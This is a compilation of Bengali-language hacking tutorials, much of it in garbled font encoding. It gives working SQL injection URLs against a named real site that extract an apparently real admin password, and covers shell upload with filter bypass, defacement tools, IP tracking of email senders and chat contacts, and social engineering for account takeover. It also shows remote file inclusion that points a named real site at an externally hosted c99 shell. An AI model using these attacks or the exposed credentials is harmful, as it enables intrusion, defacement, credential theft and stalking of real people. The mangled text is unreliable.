না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
আচছভআর দাতায অআকত ননধান
অনায সভআরফকস খরন তায সথচছক সমচছকান একটি আচছভআর খরন Reply-সত কতিককরন এফায Show original এ কতিক করন এখন সম তথযগচছরা অচছফ সগচছরা খফবাচছরাবাচছফ সখযার করন সখাচছনআ অকতন যত আচছভআর দাতায অআকত সদখচছত াচছফন কতকনত gmail সথচছক মকতদ সকউ অনাচছক সভআর কচছয তাচছর এআ িকতত নাচছয অকতন অআকত খচছজ াচছফন না এখন উায যা যা কতসথয চছফন না একষকতন তা ফরকতছ
অচছর ভর ফযাাযটি চছে gmail ফভয https ফযফায কচছয অভযা াধাযনত চছযফাআচছটয এচছেচছ সদখচছত াআ http মায িণব র চছে Hyper Text Transfer Protocol অয https চছে এআ http এয secured র অা ককতয ফঝচছত সচছযচছছন মায কাযচছনআ কতজচছভআচছর অকতন অআকত খচছজ াচছফন না এখন সমআ িকততটিয কথা অনাচছদয ফরফ সটি চছে পরায ফ ধযচছনয আচছভআর এচছে (আযাহচছভআর কতজচছভআর এভএএন আতযাকতদ) সথচছক অআকত সফয কযায িকততপরথচছভআ httpreadnotifycom াআটটি খরন এযয এখাচছন সযকতজচছেন করনএখন অকতন মায আচছভআর এচছে ননধান কযচছত চান তায ফযাযফ একটি সভআর কতরখন এফায আচছভআর ট সকন একতযযায কতরখন
victimlsquosemailidrednotifycom াঠিচছয কতদন মখন স আচছভআরটি িচছফ তখন সবযংকতকরযবাচছফ অনায কতযডচছনাটিপাআ একাউচছনট তায অআকত চচছর অচছফ অচছর কতযডচছনাটিপাআ একটি সবযংকতকরয রকাচছনা ছকতফ অনায আচছভআচছরয াচছথ ঐ ফযাকতি ফযাফয াঠিচছয সদয মায পচছর অকতন তায অআকত সচছয মান িকততটি খফ কাচছজয
ঐ চছযফ াআড টি ছনদ না চছর গচছরা ফযফায কযচছফনঃ
httpwwwdidtheyreaditcom
httpwwwpointofmailcom
ফসথান ননধান অভযা সতা অআকত সরাভ এফায সদখফ কতকবাচছফ ঐ ফযাকতিয ফসথান িচছকব জানা মায থবাৎ ফযাকতিটি সকান সদচছয সকান চছয অচছছ তা জানাপরথচছভআ httpwwwip2locationcom াআটটি খরন এআ াআটটিয খাকতর ঘচছয অনায কাকতিত অআকত এচছেটি ফকতচছয কতদন অয ভজা সদখন
অকতন মায াচছথ চযাটিং কযচছছন তায ফসথান জানা
অকতন মায াচছথ চযাটিং কযচছছন তাচছক তায অআকত মবচছনধ কতজচছগয করন সফরচছর সতা ফরচছত চছফ অনায বাগয পরনন অয না ফরচছর কতক কযচছফন একট চছকষা করন ফরকতছ এখাচছন একটি ফযাায উচছেখ কযায ভত অয তা চছে অচছগ অভযা একটি কভাচছনডয াচছথ কতযকতচত চছযকতছরাভ netstat -n এয কথা ভচছন অচছছ যা এআকভানডটি খফআ গরতবণব অকতন আনটাযচছনচছট মতগচছরা কাচছনকচছনয াচছথ মি অচছছন ঠিক ততগচছরায তথযআ এআ কভানডটিয ভাধযচছভ াযা মাচছফ অচছযকট সবচছে ফরকতছ ধরন ভচছন করন অকতন সপফচছককতজচছভআচছর এফং সটকটিউনচছ একআ চছে পরচছফকচছয অচছছন উচছযয কভানডটি এআ কততনটি াবব ায িচছকব আ অনায কাচছছ তথযাপলাআ কযচছফ ফতব ভাচছন আনটাযচছনচছট এক এক ফযাকতি চযাটিং এয এক এক নথাফযফায কচছয সমভন ICQ Messenger
MSN Messenger Yahoo Messenger Gtalk Meebo Gigsby AIM আতযাকতদ তাচছর ফঝন কতটক ঝাচছভরায কাজ কযচছত মাচছেন অকতন অয এ কাযচছনআ কতনচছচ ধাচছ ধাচছ কচছযকটি সকষতর সদযা র রকষকরন
সকষতর-১ মকতদ অকতন ICQ Messenger এ চযাট কচছযন অয সখাচছনয কায ফসথান জানচছত চান তাচছর এ িকততটি কাচছজ রাগান ICQ Messenger এয কাজ কযায ধযন চছে (অকতন-gtঅনায ফনধ-gtঅকতন) এআবাচছফ তাআ কায অআকত ংগর কযাএচছকষচছতর খফ জ কাজ ভচছন করন অকতন কায অআকত জানচছত চাচছেন তাচছর তাচছক কতট করন কতকনত চযাটিং শর কযচছফন না এফায Start-gtRun-gtcmd-gtnetstat -nএনটায কতদন সম অআকতগচছরা অচছফ তা সকান যাপ কাগচছজ কতরচছখ যাখন এফায অকতন তায াচছথ চযাটিং অযমভ করন অফায Start-gtRun-gtcmd-
gtnetstat -nএনটায কতদন এফায অকতন সখাচছন নতনএকটি অআকত সদখচছত াচছফন অয এআ ফযাকতিয াচছথআঅকতন এখন চযাটিং এ ফযাসতএফায কতকবাচছফ তায ফসথান সফয কযচছফন তা কতনশচযআ অয ফচছর কতদচছত চছফ না
সকষতর-২
Yahoo Messenger MSN Messenger GTalk Messenger এয সকষচছতর উচছযাি সভচছনজাযগচছরায কাজ কযায ধযন চছে (অকতন-সভচছনজাচছযযাবব ায-অনায ফনধ) এআবাচছফ এখাচছন মকতদ অকতন সকষতর-১ এয িকতত কাচছজ রাগান তাচছর অকতন সভচছনজাচছযয অআকত াচছফন ফযাকতিয না এআচছকষচছতর অকতন চারাচছত াচছযন সাযার আকতনজকতনযাকতযং মকতদ এটা কতনচছয যফতী ধযাচছয অচছরাচনা চছফ তথাকত এখাচছন কতকছ কতযকতচকতত সদযা চছে সাযার আকতনজকতনযাকতযং চছে কাউচছক সফাকা ফাকতনচছয তাচছক যাকতকং কযা অয এআ সভচছনজাচছযয সকষচছতর (ভচছন যাখচছফন কতধকাং সভচছনজাযআ এআ কাজটি কচছয থাচছক) অকতন অনায াচছথ চযাটিংকত ফযাকতিটিচছক ফরন অনায কাচছছ সকান পাআর াঠাচছত ফা তাচছক অকতনকতকছ াঠাচছত াচছযন সটা চছত াচছয সকান ছকতফ ফা অনায ছকতফ মকতদ স যাকতজ য তাচছর সকষতর-১ এয িকতত চাকতরচছয মান মখন অকতন তায াচছথ চযাটিং কযচছফন তখন অকতন কততকতযি সম অআকত এচছেটি সদখচছত াচছফন সটি চছে সভচছনজাচছযযঅআকত অয মখন স অনায কাচছছ সকান কতকছ াঠাচছফ তখন অচছযকটি নতন অআকত সদখচছতাচছফন সটি চছে তায অআকত এছািা অয একটি উায অচছছ তা র অকতন তাচছক অনায কাচছছ একটি সভআর াঠাচছত ফরচছত াচছযন মখনআ স সভআর াঠাচছফ অকতন কতযডচছনাটিপাআ িকতত চাকতরচছয মান মা অচছগ ফরা চছযচছছ সকান পরশন
সকষতর-৩
Meebo Gigsby Trillion আতযাকতদ ভাকতি চযাটিং আকতনজচছনয সকষচছতর এচছকষচছতর সকান িকতত সনআ শধ এতটকআ কযা মায তা র অকতন ফরচছত াচছযন অনাচছক সভআর কযচছত অয অকতন কতযডচছনাটিপাআ িকতত চারাচছত াচছযন অচছর কায অআকত াযা সতভন কঠিন কাজ নয অয এটা সতভন ফি ধযচছনয কাজ নয অআকতএচছেচছয ফযাাচছয ফরচছত সগচছর চছনক কথা ফরচছত য অআকত এচছে যচছযচছছ কতফকতবনন ধযচছনয অফায সখাচছন াফচছনট অআকতড এফং সাে অআকতড নাভক ফযাায যচছযচছছ এছািা অকতন একটি চছযফাআট শধ অআকত এচছে কতরচছখআ পরচছফ কযচছত াচছযন মকতদ সখাচছন সকসা টরানসপায এফং সকাসটরা টরানসপায নাভক ব
কতরচছখচছছনঃ সভচছকতদ াান
সাযার আকতনজকতনযাকতযং শধভাতর আনটাযচছনট জগচছতয াচছথআ মি নয ফযং তাঅভাচছদয সবাবাকতফক জীফনমাতরায াচছথ জকতিতঅকতন সকান সভচছযয াচছথ দ-নমবকতয (জ ফাংরা ফযফায কযরাভ-কতকছ ভচছন কযচছফন না) কযচছর সটা চছফ সাযার আকতনজকতনযাকতযং কতনচছজয কাচছমািব াচছযয জনয চছযয কাচছছ কতভথযা ফরচছর সটা চছফ সাযার আকতনজকতনযাকতযং ভরত কতনচছজয কাচছমািব াচছযয জনয চছযয সকান র কষকততাধন কযাচছকআ ফচছর সাযার আকতনজকতনযাকতযং
অনায ফনধয একাউনট যাকতকং কযচছত চাআচছর Forget password এ কতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐ কর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযনচছতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয
মখন সটকতরচছপান পরথভ অকতফষকত র তখন কতফচছশবয পরথভ যাকায সটকতরচছপাচছনয ফযফাযকতফকতধ খফবাচছরাবাচছফ মচছফকষবন কযর স সদখর সম মখন অভযা কাউচছক করচছদআ তখন এআকরটি পরথচছভ সটকতরচছপান কতপচছ মায চছয কাকতিত ফযাকতিটিয কাচছছ মায তখনযাকায কতকছ চকচছরট নতযী কচছয তায চছকচছট যাখর াচছথ যাখর একটি ফাকতস এআ ফরর সম চকচছরচছটয াচছথ এটা একটি কতগফট এফায ভানচছলযা এফং তাচছদয ফারচাযা ফাকতগচছরা িাযা য তরচছত রাগর মায পচছর কতি র একধযচছনয তযে মা সটকতরচছপান াবব াচছযয তযচছেয ভত এটাআ যফতীচছত যাকাযচছদয াযাকতফচছশব কতফনাভচছরয কর কযচছত াাময কযর
িণব পরকযাটি রকষ করন স শধ কতনচছজয কতচনতা কাচছজ রাগার এফংএকটি সছাটফাকত নতযী কযর তাচছর সদখন সাযার আকতনজকতনযাকতযং খফআগরতবনবঅকতন সকান কতকছচছক ফি কযচছত চছর সাযার আকতনজকতনযাকতযং এযাাময ফযাকতততমভফ নয
অনায ফনধয কব ট একাউনট যাকতকং কযচছতচাআচছর Forget password একতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐকর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযন সতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয
মিািযা িআসজজসিোসরিংমের লসিলাী িিংজঞা
ভানলকতক বাচব যার জগচছত মাকতচত কাজ সমভন সকান কচছবাচছযট কতপচছয সনটযাচছকব পরচছফ তাচছদয নরাআন কতকতকউকতযটি পাযাযযার একাউনট আতযাকতদ কতনকতফিবাচছফ মচছফকষবন কচছয তাচছত অকরভন কযা এচছকষচছতর কতফকতবনন ধযচছনয পটযযাচছযয াাময সনযা মায ফা কতনচছজয ফানাচছনা সকান াডব যযায ফা সকাকতডং কাচছজ রাগাচছনা মায
ভচছন করন অনায আচছভআচছর এর এযকভ একটি ফাতব া সম Congrats You have got 100000 free visitor CLICK
HERE for withdraw এবাচছফ পরকততকতদন ভগর কতফচছশব াজায াজায ভানল তাচছদয সকরকতডটকাচছডব য তথয কতফকতবননগরতবণব তথয নরাআচছন জভা কতদচছে অয যাকতকংচছযয কতকায চছে সাযার আকতনজকতনযাকতযং কতনচছনাি কচছযকটি বাচছগকতফবি
ndashgtimpersonation
mdashgtposing as imp user
mdashgt3rd person approach
mdashgttechnical support
কসিউটার সভসিক মিািযা িআসজজসিোসরিং
কতনচছচয কচছযকটি বাচছগ কতফবি
ndashgtmailim attachments
ndashgtpop up windows
mdashgtsweepstakes
mdashgtspam mail
এআ ধযাচছযয এখাচছনআ ভাকতি ভচছন যাখচছফন সকান কাজ কযায অচছগ এয সাযার আকতনজকতনযাকতযংচছযয ফযাযটি খফ বাচছরাবাচছফ নধাফন কযা উকতচত মখন অভযা কায আচছভআচছর সকান কতকছ াঠাআ এফং স মকতদ কতকছ াঠায সটাআ সাযার আকতনজকতনযাকতযং অয এবাচছফআ অভযা সাযার আকতনজকতনযাকতযং কাউচছক সটরাজান ফা কী-রগায াঠাচছত ফযফায কযফ ফাআ খফ বাচছরা থাকচছফন
কতরচছখচছছনঃ সভচছকতদ াান
অজ সদখাফ Remote file inclusion যাকতকং অনাযা যত জাচছনন না সম যাকতকং কযায সথচছক যাকতকং কতনচছয সাি সরখা অয কঠিন কিকয মকতদ সাি কযচছতন তাচছর ফঝচছতন থাক সাি কযা রাগচছফ না শধ ভনতফয কযচছরআ চছফ ভনতফয কযচছর সাচছিয সরখক উৎাকতত য এচছত তাচছদয সরখায গকতত সবাচনদয ফাচছি তাচছর অয কথা নয এফায শর চছয মাক সািটিhellip
Remote file inclusion যাকতকং এচছক ংচছকষচছ ফচছর RFI যাকতকং এটি ননযা যাকতকং ভযাথচছডয ভচছধয এটি একটি নযতভ জনকতপরয ভযাথড নযনযা িকততয ভচছতা এআ িকততচছত অনাচছক চছযফাআচছটয vulnerability সফয কযচছত চছফ এআ vulnerability এয ভাধযচছভ একজন যাকায একটি চছযফ াবব াচছযয remote file মি কযচছত াচছয অা ককতয RFI যাকতকং িচছকব সভাটাভটি ধাযণা সচছযচছছন
mdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdash
mdashmdashmdashmdashmdash
সকান াআটটি vulnerable কতকবাচছফ ফঝচছফন খফআ কঠিন পরশন তাআ না এআ পরচছশনয উততয জানায জনয কতনচছচয কতরংকটি সদচছখনhellip
httpwwwtargetsitecomindexphppage=Anything
উচছযয কতরংচছকয ভচছতাআ সদখচছত াচছফন সমগচছরা অকতন খজচছেন তনন তনন কচছয এখন এগচছরা ফাকতয কযচছফন কতকবাচছফ গগর ডকদযকায কতনন কতনচছচ গগর ডক কতদরাভ
ldquoinurlindexphppage=rdquo
উচছযয ডকটি গগচছর কতনচছয াচব কতদন তাচছর অনাচছক ―indexphppage= এআ টাআচছয মত চছযফাআট অচছছ
ফগচছরা চছযফাআট গগর অনায াভচছন এচছন াকতজয কযচছফ এখন সকান চছযফাআটটি অজচছকয ভযাথচছডয জনয vulnerable তা যীকষা কচছয সদখচছত চছফ কতকবাচছফ কযচছফন কতনচছচয ভচছতা কচছয করন
httpwwwtargetsitecomindexphppage=wwwgooglecom
এখন ভচছন কচছযন অকতভ অকতভ httpwwwcbspkcomএআ াআটটি খচছজ সচছযকতছ এখন অভযা চাআফ এটা vulnerable কতক না তাচছর কতরখনhellip
httpwwwcbspkcomv2indexphppage=httpwwwtunerpagecom
তাচছর এটি সদখাচছফhellip
এখন মকতদ উি চছযফাআটটি নয চছযফাআট কতনচছয সখাচছর তাচছর ফঝচছফন সম এআ চছযফ াআচছট RFI আচছেকান সদযা মাচছফ এফায অন চছযয ধাচছhellip
এযয াধাযণত যাকাযযা তায কতবকটিচছভয চছযফাআচছট সম সকান Shells অচছরাড কচছয মাচছত তায কাজটি ফাআচছক সদখাচছত ভাচছন পরভাণটি সফকতযবাগ যাকাযযা c99 shell ফা r57 shell অচছরাড কচছয অকতভ অনাচছদয সদখাফ c99 shell অচছরাড কযা এজনয যাকাযযা সম সকান একটি চছযফচছািটিং াআচছট তাচছদয সর অচছরাড কচছয সনয সমভন-ripwaycom 110mbcom আতযাকতদ এখন ভচছন কচছযন অকতভ ripwaycom এআ াআচছট সর অচছরাড কযরাভ তাচছর অভায কতরংক চছফhellip
httph1ripwaycomtjunselectedc99shellphp
এফায যাকায চছযফাআটটিচছত একটি কভানড কতদচছফ কভানডটি চছফ httpwwwcbspkcomv2indexphppage=httph1ripwaycomtjunselectedc99shellphp
এখন তাচছর এটি চছযফাআট সদখফ সদচছখন কতক সদচছখন
তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না
কতনফবাকতচতটিউনাযtrade
